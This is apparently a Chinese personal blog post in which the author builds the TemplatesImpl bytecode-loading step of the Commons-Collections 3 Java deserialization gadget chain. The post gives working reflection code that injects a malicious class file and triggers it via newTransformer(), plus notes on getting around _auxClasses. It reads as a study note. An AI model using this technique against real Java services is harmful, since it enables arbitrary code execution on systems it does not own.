今天没事想自己写个CC3类加载
结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了,使劲改字段强行通过循环
刚才判定了,_auxClasses为transient,不能用这种方法
结果搞了个下面的代码出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Properties;
public class CC3TemplatesImpl { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "CC6TiedMapEntry"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } else if (field.getName().equals("_outputProperties")) { field.set(templatesClass, new Properties()); } else if (field.getName().equals("_transletIndex")) { field.set(templatesClass, 0); } else if (field.getName().equals("_auxClasses")) { field.set(templatesClass, new HashMap<>()); } } templatesClass.newTransformer(); } }
|
你别说,还真TM能跑。说一下怎么搞的
调试的时候bytecode数组只有一个恶意类,就创建不了hashMap,后面就put不进去。
于是我bytecode传了两个恶意数组
1
| field.set(templatesClass, new byte[][]{code,code});
|
结果进第二个catch,hashMap不能重复put
我又传了个空字节,我去,空字节不能defineClass,连循环都出不了
1
| field.set(templatesClass, new byte[][]{code,new byte[0]});
|
突然想到,我自己搞个hashMap就完了,用他的干毛啊
于是
1 2 3
| else if (field.getName().equals("_auxClasses")) { field.set(templatesClass, new HashMap<>()); }
|
感觉像个大铸币写的